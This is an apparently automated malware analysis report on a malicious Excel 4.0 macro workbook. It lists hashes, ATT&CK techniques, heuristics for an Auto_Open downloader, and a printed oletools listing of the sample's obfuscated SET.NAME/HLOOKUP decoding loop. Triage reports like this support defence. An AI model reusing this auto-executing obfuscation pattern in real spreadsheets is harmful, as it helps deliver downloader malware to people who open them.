Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7238977bedb8010…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:45 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 8c28a79257d47da67d1590698b839d3c SHA-1: 0faef612193adc124c7fbac28e4f5623b4a7892f SHA-256: e7238977bedb8010d75f54dc1dcb9ffbf398362bc3332bccabd8cf61178c8684
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled document containing an Auto_Open entry. Heuristics indicate the presence of dangerous formula APIs within the macro sheet, suggesting an attempt to execute arbitrary code. This is commonly used to download and execute a second-stage payload, hence the classification as a downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6547 bytes
SHA-256: 925c7a652227f29bb1c788383c70ff9dd63b2fb4f60ebc96cbbcedeb236a92a8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gMZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A155 
' 0018     23 LABEL : Cell Value, String Constant - CeorGAjH len=0 
' 0018     23 LABEL : Cell Value, String Constant - cIqFgKqW len=0 
' 0018     24 LABEL : Cell Value, String Constant - CUXIehsMb len=0 
' 0018     24 LABEL : Cell Value, String Constant - dOSbmcaEc len=0 
' 0018     24 LABEL : Cell Value, String Constant - evPghbaNz len=0 
' 0018     26 LABEL : Cell Value, String Constant - KcUsIDJqlEc len=0 
' 0018     25 LABEL : Cell Value, String Constant - KwDFVXlqpe len=0 
' 0018     21 LABEL : Cell Value, String Constant - LHINrh len=0 
' 0018     20 LABEL : Cell Value, String Constant - OlpWE len=0 
' 0018     25 LABEL : Cell Value, String Constant - rENOpsEdPk len=0 
' 0018     27 LABEL : Cell Value, String Constant - SuAjaJtzeAYb len=0 
' 0018     27 LABEL : Cell Value, String Constant - svRnzzyWcDUl len=0 
' 0018     20 LABEL : Cell Value, String Constant - tAusE len=0 
' 0018     21 LABEL : Cell Value, String Constant - UaTwSX len=0 
' 0018     23 LABEL : Cell Value, String Constant - UaxzxNei len=0 
' 0018     25 LABEL : Cell Value, String Constant - vfIssBbALE len=0 
' 0018     21 LABEL : Cell Value, String Constant - WKXdlo len=0 
' 0018     20 LABEL : Cell Value, String Constant - ylFek len=0 
' 0018     27 LABEL : Cell Value, String Constant - zJISolFfWOOr len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZlybKJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gMZ,Q42,"",-154.00000000000000000000
'  gMZ,Q43,"",423.00000000000000000000
'  gMZ,Q44,"",110.00000000000000000000
'  gMZ,Q45,"",234.00000000000000000000
'  gMZ,Q46,"",712.00000000000000000000
'  gMZ,Q47,"",-134.00000000000000000000
'  gMZ,A57,"SET.NAME("KwDFVXlqpe",0+VALUE("0"))",""
'  gMZ,A61,"SET.NAME("svRnzzyWcDUl",KwDFVXlqpe)",""
'  gMZ,A66,"SET.NAME("ylFek",KwDFVXlqpe)",""
'  gMZ,A70,"SET.NAME("UaxzxNei",COUNTA(evPghbaNz))",""
'  gMZ,A75,"SET.NAME("KcUsIDJqlEc",COUNTA(CeorGAjH))",""
'  gMZ,A78,[],""
'  gMZ,A82,"SET.NAME("SuAjaJtzeAYb","")",""
'  gMZ,A84,"svRnzzyWcDUl",""
'  gMZ,A87,"SET.NAME("rENOpsEdPk",HLOOKUP("*",evPghbaNz,svRnzzyWcDUl,FALSE))",""
'  gMZ,A91,"OlpWE",""
'  gMZ,A95,"SET.NAME("ZlybKJ",KwDFVXlqpe)",""
'  gMZ,A97,[],""
'  gMZ,A102,"ZlybKJ",""
'  gMZ,A104,"LHINrh",""
'  gMZ,A108,"UaTwSX",""
'  gMZ,A111,"vfIssBbALE",""
'  gMZ,A114,"SET.NAME("WKXdlo",VALUE(HLOOKUP("*",CeorGAjH,vfIssBbALE,FALSE)))",""
'  gMZ,A118,"zJISolFfWOOr",""
'  gMZ,A122,"SuAjaJtzeAYb",""
'  gMZ,A127,"ylFek",""
'  gMZ,A131,NEXT(),""
'  gMZ,A134,"CUXIehsMb",""
'  gMZ,A139,[],""
'  gMZ,A144,"cIqFgKqW",""
'  gMZ,A148,NEXT(),""
'  gMZ,A150,RETURN(),""
'  gMZ,A178,"SET.NAME("tAusE",A57)",""
'  gMZ,A180,"evPghbaNz",""
'  gMZ,A182,"SET.NAME("CeorGAjH",R84C12)",""
'  gMZ,A185,"SET.NAME("cIqFgKqW",192)",""
'  gMZ,A187,"SET.NAME("dOSbmcaEc",1)",""
'  gMZ,A191,tAusE(),""
'  gMZ,A192,HALT(),""